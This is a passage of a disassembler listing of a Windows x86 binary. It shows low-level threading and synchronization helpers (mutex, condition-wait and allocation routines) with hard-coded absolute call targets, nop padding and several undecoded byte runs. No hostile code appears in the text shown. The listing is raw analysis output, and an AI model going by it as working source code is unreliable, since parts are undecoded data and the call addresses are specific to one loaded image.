		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 0E8570A75h, 77808EC7h, 4C48390h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		nop
		call	near ptr 2760555h
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 2760478h
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 5E82046h, 900231F7h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0B8E89050h
		dd 500235EDh, 0E850D3FFh, 232EA44h, 5BC08590h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32EF7CE8h
		dd 28468902h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2750938h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447708
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447708, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447708
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447708, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		call	near ptr 2750708h
		nop
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 27704F4h
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2790000h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 2780853h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 2760478h
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0E82AE890h
		dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 27703EBh
		nop
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	near ptr 2760478h
		nop
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E6F2E890h
		dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		nop
		call	near ptr 2770668h
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 2770668h
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		nop
		call	near ptr 2770668h
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
